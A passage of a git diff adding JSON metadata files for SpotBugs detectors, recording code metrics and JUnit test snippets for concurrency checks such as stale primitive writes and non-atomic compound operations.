Analysis Tool/Spotbugs/Rule Information/checkers/detect/ReflectiveClasses.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ReflectiveClasses.json new file mode 100644 index 0000000..c8e5fa4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ReflectiveClasses.json @@ -0,0 +1,13 @@ +{ + "name": "ReflectiveClasses", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 71, + "branches": 4, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/RepeatedConditionals.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/RepeatedConditionals.json new file mode 100644 index 0000000..599a790 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/RepeatedConditionals.json @@ -0,0 +1,13 @@ +{ + "name": "RepeatedConditionals", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 234, + "branches": 37, + "apis": 48, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ResolveAllReferences.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ResolveAllReferences.json new file mode 100644 index 0000000..ff4aeec --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ResolveAllReferences.json @@ -0,0 +1,13 @@ +{ + "name": "ResolveAllReferences", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 190, + "branches": 24, + "apis": 42, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ResourceInMultipleThreadsDetector.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ResourceInMultipleThreadsDetector.json new file mode 100644 index 0000000..6c3d670 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ResourceInMultipleThreadsDetector.json @@ -0,0 +1,68 @@ +{ + "name": "ResourceInMultipleThreadsDetector", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 239, + "branches": 28, + "apis": 59, + "test": [ + { + "description": "testSafeUsages", + "expected-problems": null, + "expected-linenumbers": [ + 8, + 23 + ], + "code": "@Test\n void testSafeUsages() {\n performAnalysis(\"commonResources/SafeAtomicFieldUsage.class\",\n \"commonResources/SafeSynchronizedCollectionUsage.class\",\n \"commonResources/SafeFieldUsages.class\",\n \"commonResources/SynchronizedSafeFieldUsage.class\",\n \"commonResources/SafeFieldGetterUsage.class\",\n \"commonResources/SafeBuilderPattern.class\",\n \"commonResources/SafePutFieldWithBuilderPattern.class\",\n \"commonResources/SafeFieldUsageInMainThread.class\",\n \"commonResources/CombinedThreadsInShutdownHook.class\",\n \"commonResources/CombinedThreadsInShutdownHook$1.class\",\n \"commonResources/Vehicle.class\",\n \"commonResources/Vehicle$Builder.class\");\n assertBugTypeCount(\"AT_UNSAFE_RESOURCE_ACCESS_IN_THREAD\", 0);\n }" + }, + { + "description": "testUnsafeFieldUsages", + "expected-problems": null, + "expected-linenumbers": [ + 25, + 36 + ], + "code": "@Test\n void testUnsafeFieldUsages() {\n performAnalysis(\"commonResources/UnsafeFieldUsage.class\",\n \"commonResources/Vehicle.class\",\n \"commonResources/Vehicle$Builder.class\");\n assertBugTypeCount(\"AT_UNSAFE_RESOURCE_ACCESS_IN_THREAD\", 5);\n assertBugInMethodAtLine(\"AT_UNSAFE_RESOURCE_ACCESS_IN_THREAD\", \"UnsafeFieldUsage\", \"lambda$new$0\", 8);\n assertBugInMethodAtLine(\"AT_UNSAFE_RESOURCE_ACCESS_IN_THREAD\", \"UnsafeFieldUsage\", \"createVehicle\", 16);\n assertBugInMethodAtLine(\"AT_UNSAFE_RESOURCE_ACCESS_IN_THREAD\", \"UnsafeFieldUsage\", \"createVehicle\", 17);\n assertBugInMethodAtLine(\"AT_UNSAFE_RESOURCE_ACCESS_IN_THREAD\", \"UnsafeFieldUsage\", \"createVehicle\", 18);\n assertBugInMethodAtLine(\"AT_UNSAFE_RESOURCE_ACCESS_IN_THREAD\", \"UnsafeFieldUsage\", \"createVehicle\", 19);\n }" + }, + { + "description": "testUnsafeFieldUsages2", + "expected-problems": null, + "expected-linenumbers": [ + 38, + 46 + ], + "code": "@Test\n void testUnsafeFieldUsages2() {\n performAnalysis(\"commonResources/UnsafeFieldUsage2.class\",\n \"commonResources/Vehicle.class\",\n \"commonResources/Vehicle$Builder.class\");\n assertBugTypeCount(\"AT_UNSAFE_RESOURCE_ACCESS_IN_THREAD\", 2);\n assertBugInMethodAtLine(\"AT_UNSAFE_RESOURCE_ACCESS_IN_THREAD\", \"UnsafeFieldUsage2\", \"lambda$new$0\", 8);\n assertBugInMethodAtLine(\"AT_UNSAFE_RESOURCE_ACCESS_IN_THREAD\", \"UnsafeFieldUsage2\", \"createVehicle\", 16);\n }" + }, + { + "description": "testUnsafeFieldUsages3", + "expected-problems": null, + "expected-linenumbers": [ + 48, + 56 + ], + "code": "@Test\n void testUnsafeFieldUsages3() {\n performAnalysis(\"commonResources/UnsafeFieldUsage3.class\",\n \"commonResources/Vehicle.class\",\n \"commonResources/Vehicle$Builder.class\");\n assertBugTypeCount(\"AT_UNSAFE_RESOURCE_ACCESS_IN_THREAD\", 2);\n assertBugInMethodAtLine(\"AT_UNSAFE_RESOURCE_ACCESS_IN_THREAD\", \"UnsafeFieldUsage3\", \"lambda$new$0\", 12);\n assertBugInMethodAtLine(\"AT_UNSAFE_RESOURCE_ACCESS_IN_THREAD\", \"UnsafeFieldUsage3\", \"createVehicle\", 8);\n }" + }, + { + "description": "testUnsafeFieldUsages4", + "expected-problems": null, + "expected-linenumbers": [ + 58, + 66 + ], + "code": "@Test\n void testUnsafeFieldUsages4() {\n performAnalysis(\"commonResources/UnsafeFieldUsage4.class\",\n \"commonResources/Vehicle.class\",\n \"commonResources/Vehicle$Builder.class\");\n assertBugTypeCount(\"AT_UNSAFE_RESOURCE_ACCESS_IN_THREAD\", 2);\n assertBugInMethodAtLine(\"AT_UNSAFE_RESOURCE_ACCESS_IN_THREAD\", \"UnsafeFieldUsage4\", \"lambda$new$0\", 16);\n assertBugInMethodAtLine(\"AT_UNSAFE_RESOURCE_ACCESS_IN_THREAD\", \"UnsafeFieldUsage4\", \"createVehicle\", 12);\n }" + }, + { + "description": "testSynchronizedUnsafeFieldUsage", + "expected-problems": null, + "expected-linenumbers": [ + 68, + 76 + ], + "code": "@Test\n void testSynchronizedUnsafeFieldUsage() {\n performAnalysis(\"commonResources/SynchronizedUnsafeFieldUsage.class\",\n \"commonResources/Vehicle.class\",\n \"commonResources/Vehicle$Builder.class\");\n assertBugTypeCount(\"AT_UNSAFE_RESOURCE_ACCESS_IN_THREAD\", 2);\n assertBugInMethodAtLine(\"AT_UNSAFE_RESOURCE_ACCESS_IN_THREAD\", \"SynchronizedUnsafeFieldUsage\", \"lambda$new$0\", 8);\n assertBugInMethodAtLine(\"AT_UNSAFE_RESOURCE_ACCESS_IN_THREAD\", \"SynchronizedUnsafeFieldUsage\", \"createVehicle\", 16);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/RuntimeExceptionCapture.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/RuntimeExceptionCapture.json new file mode 100644 index 0000000..82a34de --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/RuntimeExceptionCapture.json @@ -0,0 +1,13 @@ +{ + "name": "RuntimeExceptionCapture", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 270, + "branches": 39, + "apis": 49, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SerializableIdiom.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SerializableIdiom.json new file mode 100644 index 0000000..672672a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SerializableIdiom.json @@ -0,0 +1,13 @@ +{ + "name": "SerializableIdiom", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 812, + "branches": 150, + "apis": 242, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SharedVariableAtomicityDetector.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SharedVariableAtomicityDetector.json new file mode 100644 index 0000000..11d810f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/SharedVariableAtomicityDetector.json @@ -0,0 +1,527 @@ +{ + "name": "SharedVariableAtomicityDetector", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 256, + "branches": 29, + "apis": 67, + "test": [ + { + "description": "bugForStalePrimitiveWriteWhenOtherMethodHasSynchronizedBlock", + "expected-problems": null, + "expected-linenumbers": [ + 11, + 18 + ], + "code": "@Test\n void bugForStalePrimitiveWriteWhenOtherMethodHasSynchronizedBlock() {\n performAnalysis(\"multithreaded/primitivewrite/SynchronizedBlockAndBadVisibilityOnField.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 1);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 0);\n assertBugInMethodAtLine(PRIMITIVE_BUG, \"SynchronizedBlockAndBadVisibilityOnField\", \"shutdown\", 17);\n }" + }, + { + "description": "bugForStalePrimitiveWriteWhenMethodHasIrrelevantSynchronizedBlock", + "expected-problems": null, + "expected-linenumbers": [ + 20, + 27 + ], + "code": "@Test\n void bugForStalePrimitiveWriteWhenMethodHasIrrelevantSynchronizedBlock() {\n performAnalysis(\"multithreaded/primitivewrite/SynchronizedBlockWithBadVisibilityOnField.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 1);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 0);\n assertBugInMethodAtLine(PRIMITIVE_BUG, \"SynchronizedBlockWithBadVisibilityOnField\", \"shutdown\", 20);\n }" + }, + { + "description": "bugForStalePrimitiveWriteWhenOtherMethodIsSynchronized", + "expected-problems": null, + "expected-linenumbers": [ + 29, + 36 + ], + "code": "@Test\n void bugForStalePrimitiveWriteWhenOtherMethodIsSynchronized() {\n performAnalysis(\"multithreaded/primitivewrite/SynchronizedMethodAndBadVisibilityOnField.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 1);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 0);\n assertBugInMethodAtLine(PRIMITIVE_BUG, \"SynchronizedMethodAndBadVisibilityOnField\", \"shutdown\", 17);\n }" + }, + { + "description": "bugForStalePrimitiveWriteWhenSetAndGetAreReordered", + "expected-problems": null, + "expected-linenumbers": [ + 38, + 45 + ], + "code": "@Test\n void bugForStalePrimitiveWriteWhenSetAndGetAreReordered() {\n performAnalysis(\"multithreaded/primitivewrite/FieldWithBadVisibilityReordered.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 1);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 0);\n assertBugInMethodAtLine(PRIMITIVE_BUG, \"FieldWithBadVisibilityReordered\", \"shutdown\", 7);\n }" + }, + { + "description": "bugForStalePrimitiveWriteWhenClassHasTwoSetters", + "expected-problems": null, + "expected-linenumbers": [ + 47, + 55 + ], + "code": "@Test\n void bugForStalePrimitiveWriteWhenClassHasTwoSetters() {\n performAnalysis(\"multithreaded/primitivewrite/FieldWithBadVisibilityTwoSetters.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 2);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 0);\n assertBugInMethodAtLine(PRIMITIVE_BUG, \"FieldWithBadVisibilityTwoSetters\", \"shutdown\", 18);\n assertBugInMethodAtLine(PRIMITIVE_BUG, \"FieldWithBadVisibilityTwoSetters\", \"up\", 22);\n }" + }, + { + "description": "bugForStalePrimitiveWriteWhenClassExtendsThread", + "expected-problems": null, + "expected-linenumbers": [ + 57, + 64 + ], + "code": "@Test\n void bugForStalePrimitiveWriteWhenClassExtendsThread() {\n performAnalysis(\"multithreaded/primitivewrite/FieldWithBadVisibilityThread.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 1);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 0);\n assertBugInMethodAtLine(PRIMITIVE_BUG, \"FieldWithBadVisibilityThread\", \"shutdown\", 18);\n }" + }, + { + "description": "bugForStalePrimitiveWriteWhenClassImplementsRunnable", + "expected-problems": null, + "expected-linenumbers": [ + 66, + 73 + ], + "code": "@Test\n void bugForStalePrimitiveWriteWhenClassImplementsRunnable() {\n performAnalysis(\"multithreaded/primitivewrite/FieldWithBadVisibilityRunnable.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 1);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 0);\n assertBugInMethodAtLine(PRIMITIVE_BUG, \"FieldWithBadVisibilityRunnable\", \"shutdown\", 18);\n }" + }, + { + "description": "bugForStalePrimitiveWriteWhenHavingSeparateMethods", + "expected-problems": null, + "expected-linenumbers": [ + 75, + 82 + ], + "code": "@Test\n void bugForStalePrimitiveWriteWhenHavingSeparateMethods() {\n performAnalysis(\"multithreaded/primitivewrite/NonsynchronizedSeparateMethod.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 1);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 0);\n assertBugInMethodAtLine(PRIMITIVE_BUG, \"NonsynchronizedSeparateMethod\", \"shutdown\", 23);\n }" + }, + { + "description": "noBugWhenHavingAllCallsSynced", + "expected-problems": null, + "expected-linenumbers": [ + 84, + 90 + ], + "code": "@Test\n void noBugWhenHavingAllCallsSynced() {\n performAnalysis(\"multithreaded/primitivewrite/AllCallSynchronizedSeparateMethod.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 0);\n }" + }, + { + "description": "noBugWhenIssue3428", + "expected-problems": null, + "expected-linenumbers": [ + 92, + 98 + ], + "code": "@Test\n void noBugWhenIssue3428() {\n performAnalysis(\"multithreaded/primitivewrite/Issue3428.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 0);\n }" + }, + { + "description": "noBugAtomicField", + "expected-problems": null, + "expected-linenumbers": [ + 101, + 107 + ], + "code": "@Test\n void noBugAtomicField() {\n performAnalysis(\"multithreaded/primitivewrite/AtomicField.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 0);\n }" + }, + { + "description": "noBugSimpleVolatileField", + "expected-problems": null, + "expected-linenumbers": [ + 109, + 115 + ], + "code": "@Test\n void noBugSimpleVolatileField() {\n performAnalysis(\"multithreaded/primitivewrite/VolatileField.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 0);\n }" + }, + { + "description": "noBugSynchronizedBlock", + "expected-problems": null, + "expected-linenumbers": [ + 117, + 123 + ], + "code": "@Test\n void noBugSynchronizedBlock() {\n performAnalysis(\"multithreaded/primitivewrite/SynchronizedBlock.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 0);\n }" + }, + { + "description": "noBugSynchronizedMethod", + "expected-problems": null, + "expected-linenumbers": [ + 125, + 131 + ], + "code": "@Test\n void noBugSynchronizedMethod() {\n performAnalysis(\"multithreaded/primitivewrite/SynchronizedMethod.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 0);\n }" + }, + { + "description": "noBugSynchronizedSeparateMethod", + "expected-problems": null, + "expected-linenumbers": [ + 133, + 139 + ], + "code": "@Test\n void noBugSynchronizedSeparateMethod() {\n performAnalysis(\"multithreaded/primitivewrite/SynchronizedSeparateMethod.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 0);\n }" + }, + { + "description": "noBugSynchronizedBlockSeparateMethod", + "expected-problems": null, + "expected-linenumbers": [ + 141, + 147 + ], + "code": "@Test\n void noBugSynchronizedBlockSeparateMethod() {\n performAnalysis(\"multithreaded/primitivewrite/SynchronizedBlockSeparateMethod.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 0);\n }" + }, + { + "description": "noBugSynchronizedLong", + "expected-problems": null, + "expected-linenumbers": [ + 149, + 155 + ], + "code": "@Test\n void noBugSynchronizedLong() {\n performAnalysis(\"multithreaded/primitivewrite/SynchronizedLong.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 0);\n }" + }, + { + "description": "noBugVolatileLong", + "expected-problems": null, + "expected-linenumbers": [ + 157, + 163 + ], + "code": "@Test\n void noBugVolatileLong() {\n performAnalysis(\"multithreaded/primitivewrite/VolatileLong.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 0);\n }" + }, + { + "description": "noBugSynchronizedBlockDouble", + "expected-problems": null, + "expected-linenumbers": [ + 165, + 171 + ], + "code": "@Test\n void noBugSynchronizedBlockDouble() {\n performAnalysis(\"multithreaded/primitivewrite/SynchronizedBlockDouble.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 0);\n }" + }, + { + "description": "noBugSynchronizedBlockDoubleFromOtherMethod", + "expected-problems": null, + "expected-linenumbers": [ + 173, + 179 + ], + "code": "@Test\n void noBugSynchronizedBlockDoubleFromOtherMethod() {\n performAnalysis(\"multithreaded/primitivewrite/SynchronizedBlockDoubleFromOtherMethod.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 0);\n }" + }, + { + "description": "reportFor64bitWriteNotAllReadSyncedOuter", + "expected-problems": null, + "expected-linenumbers": [ + 181, + 188 + ], + "code": "@Test\n void reportFor64bitWriteNotAllReadSyncedOuter() {\n performAnalysis(\"multithreaded/primitivewrite/NotAllUsageSynchronizedDoubleOuter.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 1);\n assertBugTypeCount(OPS_BUG, 0);\n assertBugInMethodAtLine(WRITE_64BIT_BUG, \"NotAllUsageSynchronizedDoubleOuter\", \"setValue\", 7);\n }" + }, + { + "description": "reportFor64bitWriteNotSyncedWrite", + "expected-problems": null, + "expected-linenumbers": [ + 190, + 197 + ], + "code": "@Test\n void reportFor64bitWriteNotSyncedWrite() {\n performAnalysis(\"multithreaded/primitivewrite/NonSynchronizedWriteLong.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 1);\n assertBugTypeCount(OPS_BUG, 0);\n assertBugInMethodAtLine(WRITE_64BIT_BUG, \"NonSynchronizedWriteLong\", \"setValue\", 7);\n }" + }, + { + "description": "reportFor64bitWriteNotAllSyncedWrite", + "expected-problems": null, + "expected-linenumbers": [ + 199, + 206 + ], + "code": "@Test\n void reportFor64bitWriteNotAllSyncedWrite() {\n performAnalysis(\"multithreaded/primitivewrite/NotAllSynchronizedWriteLong.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 1);\n assertBugTypeCount(OPS_BUG, 0);\n assertBugInMethodAtLine(WRITE_64BIT_BUG, \"NotAllSynchronizedWriteLong\", \"setValue\", 7);\n }" + }, + { + "description": "reportFor64bitWriteNotSynced", + "expected-problems": null, + "expected-linenumbers": [ + 208, + 215 + ], + "code": "@Test\n void reportFor64bitWriteNotSynced() {\n performAnalysis(\"multithreaded/primitivewrite/NotSynchronizedLong.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 1);\n assertBugTypeCount(OPS_BUG, 0);\n assertBugInMethodAtLine(WRITE_64BIT_BUG, \"NotSynchronizedLong\", \"setValue\", 7);\n }" + }, + { + "description": "noBugSynchronizedBlockPrimitiveSeparateMethod", + "expected-problems": null, + "expected-linenumbers": [ + 217, + 223 + ], + "code": "@Test\n void noBugSynchronizedBlockPrimitiveSeparateMethod() {\n performAnalysis(\"multithreaded/primitivewrite/SynchronizedBlockPrimitiveSeparateMethod.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 0);\n }" + }, + { + "description": "noBugCompoundOpOnAtomicVariable", + "expected-problems": null, + "expected-linenumbers": [ + 225, + 231 + ], + "code": "@Test\n void noBugCompoundOpOnAtomicVariable() {\n performAnalysis(\"multithreaded/compoundoperation/CompoundOperationOnSharedAtomicVariable.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 0);\n }" + }, + { + "description": "noBugCompoundOperationVolatileReadSyncWrite", + "expected-problems": null, + "expected-linenumbers": [ + 233, + 239 + ], + "code": "@Test\n void noBugCompoundOperationVolatileReadSyncWrite() {\n performAnalysis(\"multithreaded/compoundoperation/CompoundAdditionOnSharedVolatileReadSyncWrite.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 0);\n }" + }, + { + "description": "noBugCompoundOperationReadWriteLock", + "expected-problems": null, + "expected-linenumbers": [ + 241, + 247 + ], + "code": "@Test\n void noBugCompoundOperationReadWriteLock() {\n performAnalysis(\"multithreaded/compoundoperation/CompoundNegateReadWriteLock.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 0);\n }" + }, + { + "description": "noBugCompoundOperationOnNotSharedVariable", + "expected-problems": null, + "expected-linenumbers": [ + 249, + 255 + ], + "code": "@Test\n void noBugCompoundOperationOnNotSharedVariable() {\n performAnalysis(\"multithreaded/compoundoperation/CompoundDivisionOnVariable.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 0);\n }" + }, + { + "description": "noBugCompoundOperationInSynchronizedBlock", + "expected-problems": null, + "expected-linenumbers": [ + 257, + 263 + ], + "code": "@Test\n void noBugCompoundOperationInSynchronizedBlock() {\n performAnalysis(\"multithreaded/compoundoperation/SynchronizedBlockCompoundOperationOnSharedVariable.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 0);\n }" + }, + { + "description": "noBugCompoundOperationInSynchronizedMethod", + "expected-problems": null, + "expected-linenumbers": [ + 265, + 271 + ], + "code": "@Test\n void noBugCompoundOperationInSynchronizedMethod() {\n performAnalysis(\"multithreaded/compoundoperation/SynchronizedMethodCompoundOperationOnSharedVariable.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 0);\n }" + }, + { + "description": "noBugNotRealDependentOp", + "expected-problems": null, + "expected-linenumbers": [ + 273, + 279 + ], + "code": "@Test\n void noBugNotRealDependentOp() {\n performAnalysis(\"multithreaded/compoundoperation/NotRealCompoundOp.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 0);\n }" + }, + { + "description": "noBugNoCompoundOp", + "expected-problems": null, + "expected-linenumbers": [ + 281, + 287 + ], + "code": "@Test\n void noBugNoCompoundOp() {\n performAnalysis(\"multithreaded/compoundoperation/NoCompoundOp.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 0);\n }" + }, + { + "description": "noBugInnerLocalVarFields", + "expected-problems": null, + "expected-linenumbers": [ + 289, + 296 + ], + "code": "@Test\n void noBugInnerLocalVarFields() {\n // Inner local vars\n performAnalysis(\"multithreaded/compoundoperation/InnerLocalVarFields.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 0);\n }" + }, + { + "description": "bugForCompoundPreDecrementation", + "expected-problems": null, + "expected-linenumbers": [ + 299, + 306 + ], + "code": "@Test\n void bugForCompoundPreDecrementation() {\n performAnalysis(\"multithreaded/compoundoperation/CompoundPreDecrementationOnSharedVariable.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 1);\n assertBugInMethodAtLine(OPS_BUG, \"CompoundPreDecrementationOnSharedVariable\", \"toggle\", 7);\n }" + }, + { + "description": "bugForCompoundPostDecrementation", + "expected-problems": null, + "expected-linenumbers": [ + 309, + 316 + ], + "code": "@Test\n void bugForCompoundPostDecrementation() {\n performAnalysis(\"multithreaded/compoundoperation/CompoundPostDecrementationOnSharedVariable.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 1);\n assertBugInMethodAtLine(OPS_BUG, \"CompoundPostDecrementationOnSharedVariable\", \"toggle\", 7);\n }" + }, + { + "description": "bugForCompoundPreIncrementation", + "expected-problems": null, + "expected-linenumbers": [ + 319, + 326 + ], + "code": "@Test\n void bugForCompoundPreIncrementation() {\n performAnalysis(\"multithreaded/compoundoperation/CompoundPreIncrementationOnSharedVariable.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 1);\n assertBugInMethodAtLine(OPS_BUG, \"CompoundPreIncrementationOnSharedVariable\", \"toggle\", 7);\n }" + }, + { + "description": "bugForCompoundPostIncrementation", + "expected-problems": null, + "expected-linenumbers": [ + 329, + 337 + ], + "code": "@Test\n void bugForCompoundPostIncrementation() {\n // The order of the functions is reversed\n performAnalysis(\"multithreaded/compoundoperation/CompoundPostIncrementationOnSharedVariable.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 1);\n assertBugInMethodAtLine(OPS_BUG, \"CompoundPostIncrementationOnSharedVariable\", \"toggle\", 11);\n }" + }, + { + "description": "bugForCompoundIAND", + "expected-problems": null, + "expected-linenumbers": [ + 340, + 348 + ], + "code": "@Test\n void bugForCompoundIAND() {\n // considered multithreaded because it has a volatile field (not the problematic)\n performAnalysis(\"multithreaded/compoundoperation/CompoundIANDOperationOnSharedVariable.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 1);\n assertBugInMethodAtLine(OPS_BUG, \"CompoundIANDOperationOnSharedVariable\", \"toggle\", 8);\n }" + }, + { + "description": "bugForCompoundIOR", + "expected-problems": null, + "expected-linenumbers": [ + 351, + 359 + ], + "code": "@Test\n void bugForCompoundIOR() {\n // considered multithreaded because it has a field (not the problematic) from the java.util.concurrent.atomic package\n performAnalysis(\"multithreaded/compoundoperation/CompoundIOROperationOnSharedVariable.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 1);\n assertBugInMethodAtLine(OPS_BUG, \"CompoundIOROperationOnSharedVariable\", \"toggle\", 10);\n }" + }, + { + "description": "bugForCompoundLogicalRightShift", + "expected-problems": null, + "expected-linenumbers": [ + 362, + 370 + ], + "code": "@Test\n void bugForCompoundLogicalRightShift() {\n // considered multithreaded because it extends Thread\n performAnalysis(\"multithreaded/compoundoperation/CompoundLogicalRightShiftingOnSharedVariable.class\");\n assertBugTypeCount(PRIMITIVE_BUG, 0);\n assertBugTypeCount(WRITE_64BIT_BUG, 0);\n assertBugTypeCount(OPS_BUG, 1);\n assertBugInMethodAtLine(OPS_BUG, 